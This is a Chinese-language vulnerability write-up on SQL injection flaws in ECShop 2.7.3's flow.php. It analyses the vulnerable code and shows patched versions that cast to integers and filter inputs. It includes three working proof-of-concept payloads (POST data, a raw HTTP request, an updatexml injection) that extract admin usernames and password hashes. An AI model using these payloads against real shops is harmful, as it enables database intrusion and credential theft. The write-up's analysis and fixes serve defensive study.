catalog
1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考
1. 漏洞描述
ECSHOP的配送地址页面网页没有验证地区参数的有效性,存在sql注入漏洞,攻击者可利用火狐tamper data等插件修改提交到配送地址页面的post数据,造成未授权的数据库操作甚至执行任意代码
Relevant Link:
http://sebug.net/vuldb/ssvid-60554
2. 漏洞触发条件
0x1: POC1
1. 先注册账户,随便选个商品进购物车,然后填地址,电话等等 2. 把任意商品加入购物车在填写配送地址那一页,有地区选择 3. http://localhost/ecshop2.7.3/flow.php?step=consignee&direct_shopping=1 //比如省选择安徽 3. 其中POST数据如下 country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=province=3 用firefox tamper data改成 localhost province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 # 4. 就会回显错误页面了
0x2: POC2
POST /flow.php?step=update_cart HTTP/1.1 Host: ${HOST} Content-Type: application/x-www-form-urlencoded Content-Length: ${AUTO} goods_number%5B1%27+and+%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28SELECT+concat%28user_name%2C0x7c%2Cmd5(233333)%29+FROM+ecs_admin_user+limit+0%2C1%29%29+from+information_schema.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29+and+1%3D1+%23%5D=1&submit=exp
0x3: order_id注入
http://127.0.0.1/ECShop_V2.7.3/flow.php?step=repurchase post order_id=1 or updatexml(1,concat(0x7e,(database())),0) or 11#
file:///C:/Users/zhenghan.zh/Desktop/%E3%80%90%E5%B7%B2%E8%BD%AC%E6%AD%A3%E3%80%91Ecshop3.pdf
Relevant Link:
http://www.2cto.com/Article/201212/179861.html
http://www.yunsec.net/a/security/web/jbst/2013/0111/12225.html
3. 漏洞影响范围
4. 漏洞代码分析
0x1: step = consignee 注入点
/flow.php
elseif ($_REQUEST['step'] == 'consignee') { ... //未对POST数据进行有效过滤 else { /* * 保存收货人信息 */ $consignee = array( 'address_id' => empty($_POST['address_id']) ? 0 : intval($_POST['address_id']), 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), 'country' => empty($_POST['country']) ? '' : $_POST['country'], 'province' => empty($_POST['province']) ? '' : $_POST['province'], 'city' => empty($_POST['city']) ? '' : $_POST['city'], 'district' => empty($_POST['district']) ? '' : $_POST['district'], 'email' => empty($_POST['email']) ? '' : $_POST['email'], 'address' => empty($_POST['address']) ? '' : $_POST['address'], 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), 'sign_building' => empty($_POST['sign_building']) ? '' : $_POST['sign_building'], 'best_time' => empty($_POST['best_time']) ? '' : $_POST['best_time'], ); ..
0x2: step = update_cart 注入点
/flow.php
/*------------------------------------------------------ */ //-- 更新购物车 /*------------------------------------------------------ */ elseif ($_REQUEST['step'] == 'update_cart') { if (isset($_POST['goods_number']) && is_array($_POST['goods_number'])) { //带入sql查询 flow_update_cart($_POST['goods_number']); } show_message($_LANG['update_cart_notice'], $_LANG['back_to_cart'], 'flow.php'); exit; }
flow_update_cart($_POST['goods_number']);
function flow_update_cart($arr) { /* 处理 */ foreach ($arr AS $key => $val) { //对数组的value进行了处理,但是没有对数组的key进行有效过滤 $val = intval(make_semiangle($val)); if ($val <= 0) { continue; } //查询: $sql = "SELECT `goods_id`, `goods_attr_id`, `product_id`, `extension_code` FROM" .$GLOBALS['ecs']->table('cart'). " WHERE rec_id='$key' AND session_id='" . SESS_ID . "'"; $goods = $GLOBALS['db']->getRow($sql); die(var_dump($key)); /* goods_number[-1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,user_name,0x7c,password,0x27,0x7e)) from ecs_admin_user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# and '1'='1] = value 黑客注入这种payload,实现key sql注入 */ $sql = "SELECT g.goods_name, g.goods_number ". "FROM " .$GLOBALS['ecs']->table('goods'). " AS g, ". $GLOBALS['ecs']->table('cart'). " AS c ". "WHERE g.goods_id = c.goods_id AND c.rec_id = '$key'"; $row = $GLOBALS['db']->getRow($sql); ..
Relevant Link:
http://www.myhack58.com/Article/html/3/62/2010/26956.htm http://0day5.com/archives/328
5. 防御方法
0x1: step = consignee 注入点
/flow.php
elseif ($_REQUEST['step'] == 'consignee') { ... else { /* * 保存收货人信息 */ $consignee = array( /* 对用户输入的POST数据进行有效过滤 */ 'address_id' => empty($_POST['address_id']) ? 0 : intval($_POST['address_id']), 'consignee' => empty($_POST['consignee']) ? '' : compile_str(trim($_POST['consignee'])), 'country' => empty($_POST['country']) ? '' : intval($_POST['country']), 'province' => empty($_POST['province']) ? '' : intval($_POST['province']), 'city' => empty($_POST['city']) ? '' : intval($_POST['city']), 'district' => empty($_POST['district']) ? '' : intval($_POST['district']), /* */ 'email' => empty($_POST['email']) ? '' : compile_str($_POST['email']), 'address' => empty($_POST['address']) ? '' : compile_str($_POST['address']), 'zipcode' => empty($_POST['zipcode']) ? '' : compile_str(make_semiangle(trim($_POST['zipcode']))), 'tel' => empty($_POST['tel']) ? '' : compile_str(make_semiangle(trim($_POST['tel']))), 'mobile' => empty($_POST['mobile']) ? '' : compile_str(make_semiangle(trim($_POST['mobile']))), 'sign_building' => empty($_POST['sign_building']) ? '' :compile_str($_POST['sign_building']), 'best_time' => empty($_POST['best_time']) ? '' : compile_str($_POST['best_time']), ); ..
需要注意的是,empty函数参数必须为variable,不能为其它函数的返回值,包括str_replace、trim等等,否则会报错
Can't use function return value in write context
0x2: step = update_cart 注入点
function flow_update_cart($arr) { /* 处理 */ foreach ($arr AS $key => $val) { $val = intval(make_semiangle($val)); /**/ if (!is_numeric($key)) { continue; } /**/ /*if ($val <= 0)*/ if ($val <= 0 || !is_numeric($key)) { continue; } ..
0x3: step = order_id 注入点
elseif ($_REQUEST['step'] == 'repurchase') { include_once('includes/cls_json.php'); /**/ $order_id = intval($_POST['order_id']); /**/ $order_id = json_str_iconv($order_id); $user_id = $_SESSION['user_id']; $json = new JSON; $order = $db->getOne('SELECT count(*) FROM ' . $ecs->table('order_info') . ' WHERE order_id = ' . $order_id . ' and user_id = ' . $user_id); if (!$order) { $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']); die($json->encode($result)); } $db->query('DELETE FROM ' .$ecs->table('cart') . " WHERE rec_type = " . CART_REPURCHASE); $order_goods = $db->getAll("SELECT goods_id, goods_number, goods_attr_id, parent_id FROM " . $ecs->table('order_goods') . " WHERE order_id = " . $order_id); $result = array('error' => 0, 'message' => ''); foreach ($order_goods as $goods) { $spec = empty($goods['goods_attr_id']) ? array() : explode(',', $goods['goods_attr_id']); if (!addto_cart($goods['goods_id'], $goods['goods_number'], $spec, $goods['parent_id'], CART_REPURCHASE)) { $result = false; $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']); } } die($json->encode($result)); } else { $flow_type = isset($_REQUEST['type']) ? $_REQUEST['type'] : CART_GENERAL_GOODS; $flow_type = strip_tags($flow_type); $flow_type = json_str_iconv($flow_type); /* 标记购物流程为普通商品 */ $_SESSION['flow_type'] = $flow_type; /* 如果是一步购物,跳到结算中心 */ if ($_CFG['one_step_buy'] == '1') { ecs_header("Location: flow.php?step=checkout\n"); exit; }
Relevant Link:
http://www.itokit.com/2012/1028/74804.html
6. 攻防思考
Copyright (c) 2015 LittleHann All rights reserved